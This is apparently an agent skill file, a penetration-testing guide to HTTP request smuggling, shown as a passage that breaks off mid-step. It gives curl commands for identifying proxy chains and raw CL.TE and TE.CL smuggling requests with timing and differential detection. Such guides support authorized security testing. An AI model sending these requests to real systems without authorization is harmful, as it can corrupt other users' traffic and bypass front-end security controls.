exploiting-http-request-smuggling

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SKILL.md (first lines)

# Exploiting HTTP Request Smuggling

## When to Use

- During authorized penetration tests when the application sits behind a reverse proxy, load balancer, or CDN
- When testing infrastructure with multiple HTTP processors in the request chain (nginx + Apache, HAProxy + Gunicorn)
- For assessing applications for HTTP desynchronization vulnerabilities
- When other attack vectors are limited and you need to bypass front-end security controls
- During security assessments of multi-tier web architectures

## Prerequisites

- **Authorization**: Written penetration testing agreement explicitly covering request smuggling (high-risk test)
- **Burp Suite Professional**: With HTTP Request Smuggler extension (Turbo Intruder)
- **smuggler.py**: Automated HTTP request smuggling detection tool
- **curl**: Compiled with HTTP/1.1 support and manual chunked encoding
- **Target architecture knowledge**: Understanding of proxy/server chain (front-end and back-end)
- **Caution**: Request smuggling can affect other users' requests; test carefully

## Workflow

### Step 1: Identify the HTTP Architecture

Determine the proxy/server chain and HTTP parsing characteristics.

```bash
# Identify front-end proxy/CDN
curl -s -I "https://target.example.com/" | grep -iE \
  "(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)"

# Common architectures:
# Cloudflare → Nginx → Application
# AWS ALB → Apache → Application
# HAProxy → Gunicorn → Python app
# Nginx → Node.js/Express
# Akamai → IIS → .NET app

# Check HTTP version support
curl -s -I --http1.1 "https://target.example.com/" | head -1
curl -s -I --http2 "https://target.example.com/" | head -1

# Check if Transfer-Encoding is supported
curl -s -X POST \
  -H "Transfer-Encoding: chunked" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "0\r\n\r\n" \
  "https://target.example.com/" -w "%{http_code}"

# Check for HTTP/2 downgrade to HTTP/1.1 on backend
# Many CDNs accept HTTP/2 but forward HTTP/1.1 to origin
```

### Step 2: Test for CL.TE Smuggling

The front-end uses Content-Length, the back-end uses Transfer-Encoding.

```
# In Burp Suite Repeater, disable "Update Content-Length" option
# Send the following request manually:

POST / HTTP/1.1
Host: target.example.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

# If vulnerable (CL.TE):
# Front-end reads 13 bytes (Content-Length), forwards entire request
# Back-end reads chunked: "0\r\n\r\n" = end of body
# "SMUGGLED" becomes the start of the next request

# Detection technique: Time-based
# If back-end reads chunked and sees incomplete chunk, it waits:

POST / HTTP/1.1
Host: target.example.com
Content-Length: 4
Transfer-Encoding: chunked

1
A
X

# If response is delayed (~5-10 seconds), CL.TE is likely
```

### Step 3: Test for TE.CL Smuggling

The front-end uses Transfer-Encoding, the back-end uses Content-Length.

```
# Burp Repeater - disable "Update Content-Length"

POST / HTTP/1.1
Host: target.example.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


# If vulnerable (TE.CL):
# Front-end reads chunked: chunk "SMUGGLED" + final "0"
# Back-end reads 3 bytes of Content-Length: "8\r\n"
# Remaining "SMUGGLED\r\n0\r\n\r\n" becomes next request prefix

# Detection via differential response:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 6
Transfer-Encoding: chunked

0

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